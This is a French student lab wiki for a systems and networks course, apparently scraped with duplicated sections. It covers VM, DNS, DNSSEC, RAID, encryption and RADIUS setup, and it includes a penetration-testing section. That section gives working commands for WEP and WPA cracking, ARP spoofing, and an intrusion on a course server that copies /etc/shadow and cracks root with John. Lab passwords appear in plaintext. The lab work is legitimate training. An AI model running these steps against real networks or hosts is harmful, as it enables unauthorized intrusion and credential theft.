belle-rose.site has RRSIG record NS 5 2 604800 20220210082130 20220111082130 6672 belle-rose.site. GZRzkPkOu/RKjCE2+NWhHfTcicDCoaBq/QjimrrVPsMcse0pPebFZkTr lRHMLHZEglzopIigLwj3DQ7yjuB6EiAhudUWwZri82LjkVs+z5ItMPo6 kudNvs5oUqVGX7E6toy5rU11yBgPDNijuCI1aahUJpwAEOl9sGi9uJ9I NaI=<br />
belle-rose.site has RRSIG record SOA 5 2 604800 20220210082130 20220111082130 6672 belle-rose.site. rDQsyAPj2RG4epQ7AFGrpU4JzyAi1kif3X4N8L+53IrlNWMcByyCVtAA 1XRQ8+Ag7f8/Z7nMhLbRuPtEH6efhZJfhEOuuU0SK7Nernm6WgkCS4UI e4VVtXtbHLeM+CncfUywqpKRhyZB9qEpzloNdI6zyOlzS9bH9qMwZFSS TWY=<br />
belle-rose.site has SOA record ns1.belle-rose.site. postmaster.belle-rose.site. 6 604800 86400 2419200 604800<br />
<br />
= Tests d'intrusion =<br />
<br />
== Exploitation de failles du système ==<br />
<br />
Après plusieurs recherches, nous avons trouvé un petit soft permettant d'audit notre système et y afficher les possibles failles. > https://github.com/mzet-/linux-exploit-suggester<br />
<br />
En suivant la documentation :<br />
<br />
$ wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh -O les.sh<br />
$ chmod +x les.sh && ./les.sh<br />
<br />
On obtient les failles suivantes (audit réalisé sur notre VM) :<br />
<br />
[+] [CVE-2021-27365] linux-iscsi<br />
...<br />
[+] [CVE-2021-22555] Netfilter heap out-of-bounds write<br />
...<br />
[+] [CVE-2019-13272] PTRACE_TRACEME<br />
...<br />
<br />
== Cassage de clef WEP d’un point d’accès WiFi ==<br />
<br />
On commence par rechercher le nom de notre interface. On utilise alors la commande (en root) :<br />
<br />
$ airmon-ng<br />
<br />
On trouve l'interface suivante :<br />
<br />
wlx40a5ef0127d0<br />
<br />
On essaie de démarrer l'interface sur le channel 3 :<br />
<br />
$ airmon-ng start wlx40a5ef0127d0 3<br />
<br />
Or on remarque que la réponse de la commande nous indique que l'interface a été renommé automatiquement "wlan0mon". On ré-utilise la commande précédente avec le nouveau nom d'interface :<br />
<br />
$ airmon-ng start wlan0mon 3<br />
<br />
On écoute ensuite tous les paquets dans l'air :<br />
<br />
$ airodump-ng wlan0mon<br />
<br />
A partir de là, on peut choisir un point d'accès à cracker en utilisant son BSSID (obtenu par la commande précédente). On choisit cracotte06.<br />
<br />
$ aireplay-ng -9 -e cracotte06 -a 04:DA:D2:9C:50:55 wlan0mon<br />
<br />
On peut récupérer les VI générés par le point d'accès en les stockant dans les fichiers output. On donne le channel 4 puisque le point d'accès est sur ce channel :<br />
<br />
$ airodump-ng -c 4 --bssid 04:DA:d2:9C:50:55 -w output wlan0mon<br />
<br />
On effectue de fausses authentifications avec la commande aireplay-ng dans un nouveau terminal :<br />
<br />
$ aireplay-ng -1 0 -e cracotte06 -a 04:DA:D2:9C:50:55 -h 40:A5:EF:01:0E:5F wlan0mon<br />
<br />
L'adresse MAC source donnée après le -h est obtenue lorsque l'on récupère les VI.<br />
<br />
Il faut maintenant laisser tourner la commande de récupération des VI assez longtemps pour obtenir assez de données (pour nous içi il a fallu attendre 40000 datas). On peut ensuite décrypter la clef WEP :<br />
<br />
$ aircrack-ng -b 04:DA:D2:9C:50:55 output*.cap<br />
<br />
On obtient alors :<br />
<br />
KEY FOUND ! [ 55:55:55:55:5A:BC:07:CB:A4:44:44:44:44 ]<br />
Decrypted correctly: 100%<br />
<br />
== Cassage de mot de passe WPA-PSK par force brute ==<br />
<br />
$ airmon-ng<br />
$ airmon-ng start wlan0mon 9<br />
$ airodump-ng wlan0mon<br />
<br />
On choisit le point d'accès kracotte06 à cracker. On récupère son BSSID avec la commande précédente et on utilise :<br />
<br />
$ airodump-ng -c 4 --bssid 44:AD:D9:5F:87:05 -w psk wlan0mon<br />
<br />
On crée le dictionnaire contenant toutes les clefs à tester avec la commande <code>crunch</code><br />
<br />
$ crunch 8 8 0123456789 -o dictionnaire.lst<br />
<br />
Pour savoir si un Handshake a été trouvé, on utilise la commande :<br />
<br />
$ aircrack-ng psk*.cap<br />
<br />
On trouve : <br />
<br />
# BSSID ESSID Encryption<br />
1 44:AD:D9:5F:87:05 kracotte06 WPA (1 handshake)<br />
<br />
On peut alors lancer la commande de test des clefs :<br />
<br />
$ aircrack-ng -w dictionnaire.lst -b 44:AD:D9:5F:87:05 psk*.cap<br />
<br />
Après un peu d'attente, on obtient la clef suivante :<br />
<br />
KEY FOUND! [ 59906999 ]<br />
<br />
== Attaque de type "homme au milieu" par usurpation ARP ==<br />
<br />
On branche un PC bleu sur une zabeth en ethernet et on lui configure une IP. Ensuite on peut installer dsniff et wireshark.<br />
<br />
On fait :<br />
<br />
$ echo 1 > /proc/sys/net/ipv4/ip_forward<br />
<br />
Puis on se fait passer pour le routeur (172.26.145.254) auprès de la zabeth (172.26.145.61):<br />
<br />
$ arpspoof -t 172.26.145.61 172.26.145.254<br />
<br />
En lançant wireshark, on peut voir les informations envoyées par la zabeth passer en clair.<br />
<br />
== Intrusion sur un serveur d’application Web ==<br />
<br />
Sur honey.plil.info : <br />
<br />
1. injection SQL<br />
<br />
2. connexion en tant qu'admin<br />
<br />
3. telechargement du fichier "config-db.php" (On remarque que il existe une BDD phpmyadmin) et "database.php" (ce fichier semble lui ne pas nous apporter d'informations)<br />
<br />
4. honey.plil.info/phpmyadmin -> connexion avec les logins trouvés dans le fichier "config-db.php" (phpmyadmin et gencovid19). On trouve alors une table "pma_users" indiquant le nom de plusieurs utilisateurs (totor62, manuals, phpmyadmin et root).<br />
<br />
5. en essayant le mdp "gencovid19" avec ces identifiants sur phpmyadmin : on peut se connecter en tant que "root" sur la BDD et on trouve le mdp de rex dans la bdd "test" et table "users".<br />
<br />
6. connexion en ssh sur rex@honey.plil.info.<br />
<br />
7. comme indication : "le mot de passe de root possède la même particularité que le mot de passe administrateur habituel des machines de projets". Alors on va créer un fichier de mots de 4 lettre pour ensuite doubler ces mots (exemple : bobo => bobobobo) pour essayer de cracker le mot de passe par la force brute. On créée alors le dictionnaire avec l'utilitaire crunch comme pour obtenir les clefs WEP :<br />
<br />
$ crunch 4 4 abcdefghijklmnopqrstuvwxyz > dico.txt<br />
<br />
Et on double la taille des mots :<br />
<br />
$ sed -i 's/\(.*\)/\1\1/' dico.txt<br />
<br />
On copie ensuite les fichiers "/etc/passwd" et "/etc/shadow" de rex@honey.plil.info sur notre zabeth. <br />
<br />
$ scp rex@honey.plil.info:/etc/passwd .<br />
$ scp rex@honey.plil.info:/etc/shadow .<br />
<br />
On utilise alors l'utilitaire "shadow" pour obtenir un fichier contenant le mot de passe haché de root :<br />
<br />
$ unshadow passwd shadow | head -1 > honey<br />
<br />
Puis on utilise "John the Ripper" pour cracker le mot de passe :<br />
<br />
$ john -w:dico.txt honey<br />
<br />
Après quelques minutes, on peut afficher le mot de passe trouvé :<br />
<br />
$ john --show honey<br />
root:fortfort:0:0:root:/root:/bin/bash<br />
1 password hash cracked, 0 left<br />
<br />
On trouve le mot de passe de root@honey.plil.info qui est "fortfort".<br />
<br />
= Point d'accès Wi-Fi authentifié via FreeRADIUS =<br />
<br />
== Configuration du point d'accès ==<br />
<br />
=== Point d'accès ===<br />
<br />
Tout d'abord il faut configurer l'authentification EAP dans la configuration :<br />
<br />
conf t<br />
<br />
aaa new-model<br />
aaa authentication login eap_rose group radius_rose<br />
radius-server host 193.48.57.181 auth-port 1812 acct-port 1813 key zinzin<br />
aaa group server radius radius_rose<br />
server 193.48.57.181 auth-port 1812 acct-port 1813<br />
exit<br />
<br />
Configurons le SSID :<br />
<br />
conf t<br />
<br />
dot11 ssid SSID_ROSE<br />
vlan 5<br />
authentication open eap eap_rose<br />
authentication network-eap eap_rose<br />
authentication key-management wpa<br />
mbssid guest-mode<br />
exit<br />
exit<br />
<br />
On associe notre SSID à l'interface WIFI :<br />
<br />
conf t<br />
<br />
interface Dot11Radio0<br />
encryption vlan 5 mode ciphers aes-ccm tkip<br />
ssid SSID_ROSE<br />
mbssid<br />
exit<br />
exit<br />
<br />
On paramètre notre VLAN (5)<br />
<br />
conf t<br />
<br />
interface Dot11Radio0.5<br />
encapsulation dot1Q 5<br />
no ip route-cache<br />
bridge-group 5<br />
bridge-group 5 subscriber-loop-control<br />
bridge-group 5 spanning-disabled<br />
bridge-group 5 block-unknown-source<br />
exit<br />
exit<br />
<br />
On configure l'interface filaire<br />
<br />
conf t<br />
<br />
interface GigabitEthernet0.5<br />
encapsulation dot1Q 5<br />
bridge-group 5<br />
exit<br />
exit<br />
<br />
Enfin, on configure l'IP de l'AP et sa gateway<br />
<br />
conf t<br />
<br />
ip default-gateway 10.1.0.1<br />
interface BVI 1<br />
ip address 10.1.0.3 255.255.255.0<br />
exit<br />
exit<br />
<br />
=== Routeur ===<br />
<br />
Commençons par configurer le VLAN 1 <br />
<br />
conf t<br />
<br />
interface vlan 1<br />
ip address 10.1.0.1 255.255.255.0<br />
exit<br />
exit<br />
<br />
Puis on configure le port (ici Gi1/0/3<br />
<br />
conf t<br />
<br />
interface Gi1/0/3<br />
switchport<br />
switchport mode trunk<br />
switchport trunk allowed vlan add 1<br />
exit<br />
exit<br />
<br />
Et voilà mon grand<br />
<br />
== Serveur FreeRADIUS ==<br />
<br />
Installation de freeRADIUS<br />
<br />
apt install freeradius<br />
<br />
On commence par configurer <code>/etc/freeradius/3.0/clients.conf</code> à détailler<br />
<br />
client zozo {<br />
ipaddr = 10.1.0.3/24<br />
secret = zinzin<br />
}<br />
<br />
ensuite <code>/etc/freeradius/3.0/eap.conf</code><br />
<br />
eap {<br />
[...]<br />
default_eap_type = peap<br />
}<br />
<br />
puis <code>/etc/freeradius/3.0/users</code><br />
<br />
[...]<br />
root Cleartext-Password := "glopglop"<br />
<br />
Pour vérifier que tout fonctionne bien, on peut lancer freeradius en mode debug <code>freeradius -X</code> (après avoir au préalable stoppé le processus)<br />
<br />
= Réalisations =<br />
<br />
== Sécurisation des données (RAID 5) ==<br />
<br />
Nous avons besoin de 3 LV à rajouter à notre VM :<br />
<br />
$ lvcreate -L1G -n Bellerose-raid1 storage<br />
$ lvcreate -L1G -n Bellerose-raid2 storage<br />
$ lvcreate -L1G -n Bellerose-raid3 storage<br />
<br />
Nous pouvons ainsi les rajouter à la configuration de notre VM (<code>/etc/xen/Bellerose.cfg</code>):<br />
<br />
'phy:/dev/storage/Bellerose-raid1,xvda5,w'<br />
'phy:/dev/storage/Bellerose-raid2,xvda6,w'<br />
'phy:/dev/storage/Bellerose-raid3,xvda7,w'<br />
<br />
Nous pouvons ensuite créer le RAID en relançant la VM et en se connectant dessus.<br />
<br />
$ apt install mdadm<br />
<br />
On va ensuite créer un disque nommé <code>/dev/md0</code> grâce à <code>mdadm</code> :<br />
<br />
$ mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvda5 /dev/xvda6 /dev/xvda7<br />
<br />
On peut ainsi vérifier que notre RAID 5 est effectif :<br />
<br />
$ lsblk<br />
NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT<br />
xvda1 202:1 0 512M 0 disk [SWAP]<br />
xvda2 202:2 0 4G 0 disk /<br />
xvda3 202:3 0 10G 0 disk /home<br />
xvda4 202:4 0 10G 0 disk /var<br />
xvda5 202:5 0 1G 0 disk <br />
`-md0 9:0 0 2G 0 raid5 <br />
xvda6 202:6 0 1G 0 disk <br />
`-md0 9:0 0 2G 0 raid5 <br />
xvda7 202:7 0 1G 0 disk <br />
`-md0 9:0 0 2G 0 raid5 <br />
<br />
Enfin il faut monter ce disque fraîchement créé :<br />
<br />
$ mkfs.ext4 /dev/md0<br />
$ mkdir /media/raid<br />
<br />
on ajoute cette ligne dans <code>/etc/fstab</code> :<br />
<br />
/dev/md0 /media/raid ext4 defaults 0 1<br />
<br />
puis<br />
<br />
$ mount -a<br />
<br />
et toc<br />
<br />
== Chiffrement des données ==<br />
<br />
On branche la clé USB sur le petit PC bleu, et on lance <code>lsblk</code> et on trouve :<br />
<br />
NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT<br />
sda 8:0 1 7,2G 0 disk <br />
<br />
Donc on peut formater la clef qui contient déjà quelque chose dessus :<br />
<br />
$ mkfs.ext4 /dev/sda<br />
<br />
Avec <code>cryptsetup</code> on peut initialiser la clef et lui donner un mdp :<br />
<br />
$ cryptsetup luksFormat /dev/sda<br />
<br />
On crée une partition chiffrée sur la clé :<br />
<br />
$ cryptsetup luksOpen /dev/sda data<br />
<br />
Et on formate :<br />
<br />
$ mkfs.ext4 /dev/mapper/data<br />
<br />
On monte cette partition pour lui permettre de contenir des fichiers :<br />
<br />
$ mkdir /mnt/data-usb<br />
$ mount -t ext4 /dev/mapper/data /mnt/data-usb<br />
<br />
On y ajoute donc un fichier de test :<br />
<br />
$ touch /mnt/data-usb/boujour.txt<br />
<br />
Puis on démonte et on ferme le volume chiffré<br />
<br />
$ umont /mnt/data-usb<br />
$ cryptsetup luksClose data<br />
<br />
Ensuite en branchant la clé USB sur un autre PC pour voir le fonctionnement de notre chiffrement, et lorsqu'on essaie d'accèder à la clef, celle ci nous demande un mot de passe pour accèder aux fichiers, donc le chiffrement fonctionne correctement.<br />
<br />
= ASR lab project =<br />
<br />
== Ansible hello world ==<br />
<br />
Après avoir installé ansible, nous avons pu créer notre premier playbook assez simple :<br />
<br />
<code>roles/ssh_key/tasks/main.yml</code><br />
---<br />
<br />
- name: Create .ssh if it does not exists<br />
file:<br />
path: ~/.ssh<br />
state: directory <br />
<br />
- name: Copy authorized_keys<br />
copy:<br />
src: authorized_keys<br />
dest: ~/.ssh/authorized_keys<br />
<br />
Ce dernier prend le fichier <code>../files/authorized_keys</code> (local) et le place dans <code>~/.ssh</code> (vm) après avoir créé ce répertoire si besoin.<br />
<br />
== Iptables ==<br />
<br />
CEST DES IPTABLES QUI SERVENT A RIEN CAR YA PAS DINTERFACE PUBLIQUE SUR CETTE VM<br />
<br />
== Consul ==<br />
<br />
Le fichier <code>roles/consul/tasks/main.yml</code> contient :<br />
<br />
---<br />
<br />
- name: Create consul group<br />
group:<br />
name: consul<br />
state: present<br />
gid: 666<br />
<br />
- name: Create consul user<br />
user:<br />
name: consul<br />
state: present<br />
uid: 666<br />
group: consul<br />
<br />
- name: Create dirs<br />
file:<br />
state: directory<br />
path: "{ { item } }"<br />
owner: consul<br />
group: consul<br />
loop:<br />
- /etc/consul<br />
- /var/lib/consul<br />
<br />
- name: Add HashiCorp key<br />
apt_key:<br />
url: https://apt.releases.hashicorp.com/gpg<br />
state: present<br />
<br />
- name: Add HashiCorp repo<br />
apt_repository:<br />
repo: "deb https://apt.releases.hashicorp.com { { ansible_distribution_release } } main"<br />
state: present<br />
update_cache: true<br />
<br />
- name: Install Consul<br />
package:<br />
name: consul<br />
state: present<br />
<br />
- name: Put config<br />
copy:<br />
src: config.json<br />
dest: /etc/consul/server.json<br />
owner: consul<br />
group: consul<br />
<br />
- name: Add consul systemd service file<br />
copy:<br />
src: consul.service<br />
dest: /etc/systemd/system/consul.service<br />
<br />
- name: Start consul service<br />
systemd:<br />
name: consul<br />
state: restarted<br />
enabled: yes<br />
<br />
Et le fichier <code>roles/consul/files/config.json</code> contient :<br />
<br />
{<br />
"datacenter": "polytech",<br />
"data_dir": "/var/lib/consul",<br />
"log_level": "INFO",<br />
"node_name": "jsp",<br />
"server": true,<br />
"bind_addr": "172.26.145.106",<br />
"bootstrap": true,<br />
"bootstrap_expect": 1,<br />
"ui": true,<br />
"client_addr": "0.0.0.0"<br />
}<br />
<br />
Oui, rien n'est variabilisé mais le principe est là.</div>Lwadbledhttps://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5_2021/2022_G6&diff=57992TP sysres IMA5 2021/2022 G62022-01-12T12:21:34Z<p>Lwadbled : /* Iptables */</p>
<hr />
<div>__TOC__<br />
<br style="clear: both;"/><br />
<br />
=Création de la machine virtuelle=<br />
<br />
On veut créer notre machine virtuelle sur l'hyperviseur (HV) capbreton. Afin de pouvoir télécharger l'image Debian, on utilise tout d'abord la commande suivante :<br />
<br />
$ export http_proxy=http://proxy.plil.fr:3128<br />
<br />
Pour lancer la création de la machine virtuelle, on doit donner le nom de la machine qui sera Bellerose (d'après le thème des noms de bière). Ensuite nous avons l'adresse IP qui nous a été attribuée lors de la répartition des groupes (donc pour nous ce sera 193.48.57.181). On donne aussi l'adresse IP du routeur flottant (193.48.57.190) et le masque du réseau (255.255.255.240 car c'est un /28). On indique également l'emplacement des disques virtuels : /usr/local/xen, le mot de passe pour se connecter à la machine virtuelle : pasglop, et la distribution que nous allons utiliser qui est Debian bullseye.<br />
<br />
$ xen-create-image --hostname=Bellerose --ip=193.48.57.181 --gateway=193.48.57.190 --netmask=255.255.255.240 --dir=/usr/local/xen --password=pasglop --dist=bullseye<br />
<br />
On crée ensuite 2 LV de 10 Go (nommés Bellerose1 et Bellerose2) sur le groupe de volume storage.<br />
<br />
$ lvcreate -L10G -n Bellerose1 storage<br />
$ lvcreate -L10G -n Bellerose2 storage<br />
<br />
Puis il faut les formater au format ext4, alors on utilise les commandes suivantes :<br />
<br />
$ mkfs.ext4 /dev/storage/Bellerose1<br />
$ mkfs.ext4 /dev/storage/Bellerose2<br />
<br />
On modifie notre fichier /etc/xen/Bellerose.cfg pour indiquer à la machine virtuelle qu'elle possède les volumes logiques Bellerose1 et Bellerose2 (on ajoute alors 2 lignes dans la fonction disk) et on ajoute le bridge IMA5sc dans la fonction vif.<br />
<br />
$ vim /etc/xen/Bellerose.cfg<br />
disk = [<br />
'file:/usr/local/xen/domains/Bellerose/disk.img,xvda2,w',<br />
'file:/usr/local/xen/domains/Bellerose/swap.img,xvda1,w',<br />
'phy:/dev/storage/Bellerose1,xvda3,w',<br />
'phy:/dev/storage/Bellerose2,xvda4,w'<br />
]<br />
vif = [ 'ip=193.48.57.181 ,mac=00:16:3E:FA:D0:95 ,bridge=IMA5sc' ]<br />
<br />
On peut maintenant lancer notre machine virtuelle :<br />
<br />
$ xl create -c /etc/xen/Bellerose.cfg<br />
<br />
Avec la commande :<br />
<br />
$ cat /etc/fstab<br />
<br />
On voit xvda1 et xvda2. On va créer xvda3 et xvda4 pour pouvoir y mettre les répertoires var et home de notre machine virtuelle :<br />
<br />
$ mkdir /mnt/xvda3<br />
$ mkdir /mnt/xvda4<br />
$ mount /dev/xvda3 /mnt/xvda3<br />
$ mount /dev/xvda4 /mnt/xvda4<br />
<br />
Puis on déplace le répertoire var dans le disque xvda4 :<br />
<br />
$ mv /var/* /mnt/xvda4<br />
<br />
Pour monter les disques, on ajoute ces lignes dans le fichier /etc/fstab :<br />
<br />
# /home vers xvda3<br />
/dev/xvda3 /home ext4 defaults 0 2<br />
# /var vers xvda4<br />
/dev/xvda4 /var ext4 defaults 0 2<br />
<br />
On monte le tout à l'aide de la commande :<br />
<br />
mount -a<br />
<br />
Enfin avec lsblk, on peut voir les deux partitions de notre VM :<br />
<br />
$ lsblk<br />
xvda3 202:3 0 10G 0 disk /home<br />
xvda4 202:4 0 10G 0 disk /var<br />
<br />
Enfin, nous activons l'IPv6 sur l'interface en modifiant <code>/etc/network/interfaces</code><br />
<br />
iface eth0 inet6 auto<br />
<br />
Pour quitter la VM : CTRL+]<br />
<br />
= Services Internet =<br />
<br />
== Serveur SSH ==<br />
<br />
$ apt install openssh-server<br />
<br />
on édite le fichierde conf <code>/etc/ssh/sshd_config</code> (via ssh key) :<br />
<br />
PermitRootLogin without-password // je l'ai repassé en "yes" suite au mail et le mdp root est celui de pifou habituel <br />
PubkeyAuthentication yes<br />
<br />
après on reload la conf<br />
<br />
$ systemctl reload ssh<br />
<br />
On génère une clé ssh depuis notre zabeth avec <code>ssh-keygen -t ed25519</code> et on l'ajoute dans <code>/.ssh/authorized_keys</code> et c'est gooooood<br />
<br />
== Serveur DNS ==<br />
<br />
on achète le ndd<br />
<br />
on crée un "Glue Record" pour notre nameserver <code>ns1.belle-rose.site</code><br />
<br />
on install bind<br />
<br />
$ apt install bind9<br />
<br />
on configure <code>/etc/resolv.conf</code><br />
<br />
nameserver 127.0.0.1<br />
<br />
on configure bind <code>/etc/bind/named.conf.local</code><br />
<br />
zone "belle-rose.site" IN {<br />
type master;<br />
file "/etc/bind/db.belle-rose.site";<br />
allow-transfer { 217.70.177.40; };<br />
};<br />
<br />
On ajoute nos ns <code>/etc/bind/db.belle-rose.site</code><br />
<br />
;<br />
; BIND dans ta face<br />
;<br />
$TTL 604800<br />
@ IN SOA ns1.belle-rose.site. postmaster.belle-rose.site. (<br />
2 ; Serial<br />
604800 ; Refresh<br />
86400 ; Retry<br />
2419200 ; Expire<br />
604800 ) ; Negative Cache TTL<br />
;<br />
@ IN NS ns1.belle-rose.site.<br />
@ IN NS ns6.gandi.net.<br />
ns1 IN A 193.48.57.181<br />
<br />
Ensuite on peut tester notre conf avec<br />
<br />
$ host -t any ns1.belle-rose.site localhost<br />
Using domain server:<br />
Name: localhost<br />
Address: 127.0.0.1#53<br />
Aliases: <br />
<br />
ns1.belle-rose.site has address 193.48.57.181<br />
<br />
Et on incrémente aussi le Serial dans <code>/etc/bind/db.belle-rose.site</code> à 3.<br />
<br />
== Certificat ==<br />
<br />
Notre certificat Gandi nous a été retiré de force par quelqu'un de mal intentionné. De ce fait, nous avons utilisé un certificat <code>Let's Encrypt</code>. Après avoir installé <code>certbot</code>, on utilise simplement la commande :<br />
<br />
certbot --apache<br />
<br />
https://www.belle-rose.site/ IZOK<br />
<br />
== DNSSEC ==<br />
<br />
On suit les étapes suivantes :<br />
<br />
1. On ajoute l’option <code>dnssec-enable yes;</code> dans le fichier <code>named.conf.options</code><br />
<br />
2. On crée un répertoire <code>belle-rose.site.dnssec</code> pour y générer les clefs<br />
<br />
3. On crée la clef asymétrique de signature de clefs de zone :<br />
<br />
$ dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE belle-rose.site<br />
<br />
4. On crée la clef asymétrique de la zone pour signer les enregistrements<br />
<br />
$ dnssec-keygen -a RSASHA1 -b 1024 -n ZONE belle-rose.site <br />
<br />
5. On renomme les deux paires de clefs obtenues en utilisant le nom de la zone comme préfixe puis en suffixant d’abord par la destination de la clef (-ksk pour la KSK ou -zsk pour la ZSK) puis par le type de clef (.key pour la clef publique ou .private pour la clef privée);<br />
<br />
$ mv Kbelle-rose.site.+005+37138.key belle-rose.site-ksk.key<br />
$ mv Kbelle-rose.site.+005+35638.key belle-rose.site-zsk.key<br />
$ mv Kbelle-rose.site.+005+37138.private belle-rose.site-ksk.private<br />
$ mv Kbelle-rose.site.+005+35638.private belle-rose.site-zsk.private<br />
<br />
6. On inclue les clefs publiques dans votre fichier de zone <code>/etc/bind/db.belle-rose.site</code>, et on incrémente le numéro de version de la zone ;<br />
<br />
$include /etc/bind/belle-rose.site.dnssec/belle-rose.site-ksk.key<br />
$include /etc/bind/belle-rose.site.dnssec/belle-rose.site-zsk.key<br />
<br />
7. On signe les enregistrements de la zone ;<br />
<br />
$ dnssec-signzone -o belle-rose.site -k belle-rose.site-ksk ../db.belle-rose.site belle-rose.site-zsk<br />
<br />
8. On modifie le fichier <code>named.conf.local</code> pour utiliser la zone signée de suffixe .signed :<br />
<br />
$ vim ../named.conf.local<br />
zone "belle-rose.site" IN {<br />
type master;<br />
file "/etc/bind/db.belle-rose.site.signed";<br />
allow-transfer { 217.70.177.40; };<br />
};<br />
<br />
9. il ne reste plus qu’à communiquer la partie publique de la KSK (présente dans le fichier www.belle-rose.site-ksk.key) à notre registrar (sur gandi.net, dans la section "Manage DNSSEC" puis "DNS servers")<br />
<br />
root@Bellerose:/etc/bind/belle-rose.site.dnssec# cat belle-rose.site-ksk.key <br />
; This is a key-signing key, keyid 22094, for belle-rose.site.<br />
; Created: 20220111091701 (Tue Jan 11 09:17:01 2022)<br />
; Publish: 20220111091701 (Tue Jan 11 09:17:01 2022)<br />
; Activate: 20220111091701 (Tue Jan 11 09:17:01 2022)<br />
belle-rose.site. IN DNSKEY 257 3 5 AwEAAbbNBQJskwFezV1LwDsxAkCVbOcy4X3/mgffMjd/3FIHZpkdVrk3 w88041cgWbVSmom0ma8fFNqntidWlO//rMPvKT0ex3dqCse7on3/odox vxR3Zh5hPdv4K7X35BLuZta4x/RCBLgiFVyXo12qqBl0Htxn2hRyycKv 2caEYwnyRI75KSrr5f5XtQS8LyZCbtmMAp5YJu1wiDxwLcUwwJKvYS+q dtq4sm3KwW+qbjcUswkMMjXNAsvzwZ5FyHcondvvPuErc+Fhdvpxyoq+ W44ynLRnz7cb3R44z/TXFCwNlQI3MWzFvhbDK1YeJLpqjgYrET4eqqka mbFMYuLPQzE=<br />
<br />
(on copie que la partie chiffrée, pas le record DNSKEY)<br />
<br />
10. Enfin, nous pouvons tester la configuration:<br />
<br />
root@Bellerose:~# host -t any belle-rose.site<br />
belle-rose.site has RRSIG record DS 8 2 3600 20220210205226 20220111074233 56238 site. t5ANbAiG69DP5E9ccCIMtEEMs1urP6mSQpb210bDUbCD7vdXqONhLJ9M dcjyHQjhdTWKd9qc48tnY8fwL4PUeOYLexcaUEQgLMkbEBUDMzpcvMsb n4sM2BXgk7lJ9vyE1zsgfBNg7X8IV5c7sRrEuZyg7VbjPYmqx5BJ3cC8 Dy0=<br />
belle-rose.site has DS record 22094 5 2 86D5EAC51853FAA1865BB63C0F353EEB50D5A59093409E66A3F7044C AC3AF70F<br />
belle-rose.site name server ns6.gandi.net.<br />
belle-rose.site name server ns1.belle-rose.site.<br />
belle-rose.site has RRSIG record DNSKEY 5 2 604800 20220210082130 20220111082130 6672 belle-rose.site. bh2pFBuNXANoGib6RK5MAab6xy7jbUEYVOr6Pk/pa8weJPD/ACk0Z1pm urvc++ReoccxNxNy+BCd2Ri1GLhZ+kGXrF8xuNUYdyo+zpd+zZUgrx1C hKRSUqeBVpAn0uyDlRtG8cPPw01iYpDBCqmnif7+GblIH6eSJhOf+98d l8o=<br />
belle-rose.site has RRSIG record DNSKEY 5 2 604800 20220210082130 20220111082130 22094 belle-rose.site. JLB0MJqr8rfBq2MiVrZaRyDo/7/7V1GUGwCi108w8CgeUrIdImgXERY4 2nXQ21aym3Po0i+zs5DmEonEkTGMi63kjUG8ZeFjMCFm7KtNhRK8FkQk Be2yzv3odAhh/gmMyRsMa7yoLwaDWZVd4NkCJ6EaqNXP7yspcHD6pmHt 4RKJgCUo6zpLAJnFiU1cwIR+lS/HeFEW2OzOtvi/LH8bL1zewioEpTgi qHLplK68KR/1cX/4Dq2C3CaeChteMx//EkW9Vmwjg9BhRjE/VCa8P80w qJEiXeg8KXYLkCEiBK5ifgKy5EMxDG5q18ieRXaUc0F6FpG0A4POpTVx pscHmA==<br />
belle-rose.site has DNSKEY record 257 3 5 AwEAAbbNBQJskwFezV1LwDsxAkCVbOcy4X3/mgffMjd/3FIHZpkdVrk3 w88041cgWbVSmom0ma8fFNqntidWlO//rMPvKT0ex3dqCse7on3/odox vxR3Zh5hPdv4K7X35BLuZta4x/RCBLgiFVyXo12qqBl0Htxn2hRyycKv 2caEYwnyRI75KSrr5f5XtQS8LyZCbtmMAp5YJu1wiDxwLcUwwJKvYS+q dtq4sm3KwW+qbjcUswkMMjXNAsvzwZ5FyHcondvvPuErc+Fhdvpxyoq+ W44ynLRnz7cb3R44z/TXFCwNlQI3MWzFvhbDK1YeJLpqjgYrET4eqqka mbFMYuLPQzE=<br />
belle-rose.site has DNSKEY record 256 3 5 AwEAAdZrHCSjl8nMZ0pwfODUtCs4nD6iStiZzuBAfWTsm75qpG6JJzpr e3Oqqyr/Dm1bwXbLQUd0GNgGAidiAQtkbZIb/5ZQxuVxft2kp0GKUr34 44Bw1Gh8af1Npk9cqK368U6oD+EIrV2AnA2KC/KXm+DziNOkmifaFVvO rh6p91Ut<br />
belle-rose.site has RRSIG record NSEC 5 2 604800 20220210082130 20220111082130 6672 belle-rose.site. RXnysXybktajyP82ERJn1m9z/5dkOQABIzfUPf2/08jFQq96AMmEggH2 sAy/3wv6SKiwAvBN3dFkYtIefMAK0MdLykIwwLrGQwK1BSv5KKLCowtO Bdks2pjgBPFE4J/MnBnBXSm0HunudjziNgz+PN3bY/IieyPzIBfpHM0y UfM=<br />
belle-rose.site has NSEC record ns1.belle-rose.site. NS SOA RRSIG NSEC DNSKEY<br />
belle-rose.site has RRSIG record NS 5 2 604800 20220210082130 20220111082130 6672 belle-rose.site. GZRzkPkOu/RKjCE2+NWhHfTcicDCoaBq/QjimrrVPsMcse0pPebFZkTr lRHMLHZEglzopIigLwj3DQ7yjuB6EiAhudUWwZri82LjkVs+z5ItMPo6 kudNvs5oUqVGX7E6toy5rU11yBgPDNijuCI1aahUJpwAEOl9sGi9uJ9I NaI=<br />
belle-rose.site has RRSIG record SOA 5 2 604800 20220210082130 20220111082130 6672 belle-rose.site. rDQsyAPj2RG4epQ7AFGrpU4JzyAi1kif3X4N8L+53IrlNWMcByyCVtAA 1XRQ8+Ag7f8/Z7nMhLbRuPtEH6efhZJfhEOuuU0SK7Nernm6WgkCS4UI e4VVtXtbHLeM+CncfUywqpKRhyZB9qEpzloNdI6zyOlzS9bH9qMwZFSS TWY=<br />
belle-rose.site has SOA record ns1.belle-rose.site. postmaster.belle-rose.site. 6 604800 86400 2419200 604800<br />
<br />
= Tests d'intrusion =<br />
<br />
== Exploitation de failles du système ==<br />
<br />
Après plusieurs recherches, nous avons trouvé un petit soft permettant d'audit notre système et y afficher les possibles failles. > https://github.com/mzet-/linux-exploit-suggester<br />
<br />
En suivant la documentation :<br />
<br />
$ wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh -O les.sh<br />
